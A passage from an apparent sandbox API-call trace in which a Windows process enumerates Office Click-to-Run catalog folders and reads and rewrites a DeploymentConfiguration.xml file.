ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.237] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0079.238] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0079.238] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0079.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0079.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0079.238] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x40 [0079.238] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.238] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.238] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0079.238] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.239] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0079.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0079.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0079.239] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x67 [0079.239] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.239] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.239] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1 [0079.240] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0079.240] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0079.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0079.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0079.240] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x67 [0079.240] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.240] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.240] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1 [0079.240] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.241] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0079.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0079.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8910) returned 1 [0079.241] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", nBufferLength=0x105, lpBuffer=0x10f83b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpFilePart=0x0) returned 0x8e [0079.241] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x10f8630 | out: lpFindFileData=0x10f8630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.241] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.241] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0079.242] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest.xml", cAlternateFileName="")) returned 1 [0079.242] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1 [0079.242] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1 [0079.242] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.242] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8850) returned 1 [0079.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8810) returned 1 [0079.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8910) returned 1 [0079.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", nBufferLength=0x105, lpBuffer=0x10f83b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpFilePart=0x0) returned 0x8e [0079.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x10f8630 | out: lpFindFileData=0x10f8630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0079.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest.xml", cAlternateFileName="")) returned 1 [0079.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1 [0079.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1 [0079.463] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10f85f0 | out: lpFindFileData=0x10f85f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 0 [0079.463] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8850) returned 1 [0079.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8810) returned 1 [0079.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", lpFilePart=0x0) returned 0xaa [0079.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f86c0) returned 1 [0079.463] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), fInfoLevelId=0x0, lpFileInformation=0x3390648 | out: lpFileInformation=0x3390648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266)) returned 1 [0079.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8680) returned 1 [0079.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f8050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", lpFilePart=0x0) returned 0xaa [0079.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8570) returned 1 [0079.463] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0079.464] GetFileType (hFile=0x6b4) returned 0x1 [0079.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f84e0) returned 1 [0079.464] GetFileType (hFile=0x6b4) returned 0x1 [0079.464] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x10f8718 | out: lpFileSizeHigh=0x10f8718*=0x0) returned 0x266 [0079.464] ReadFile (in: hFile=0x6b4, lpBuffer=0x3390d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f8648, lpOverlapped=0x0 | out: lpBuffer=0x3390d18*, lpNumberOfBytesRead=0x10f8648*=0x266, lpOverlapped=0x0) returned 1 [0079.464] CloseHandle (hObject=0x6b4) returned 1 [0079.476] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f8050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", lpFilePart=0x0) returned 0xaa [0079.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8570) returned 1 [0079.476] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0079.477] GetFileType (hFile=0x6b4) returned 0x1 [0079.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f84e0) returned 1 [0079.477] GetFileType (hFile=0x6b4) returned 0x1 [0079.477] WriteFile (in: hFile=0x6b4, lpBuffer=0x3408e48*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x10f8558, lpOverlapped=0x0 | out: lpBuffer=0x3408e48*, lpNumberOfBytesWritten=0x10f8558*=0x270, lpOverlapped=0x0) returned 1 [0079.478] CloseHandle (hObject=0x6b4) returned 1 [0079.479] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", lpFilePart=0x0) returned 0xaa [0079.479] GetFullPathNameW 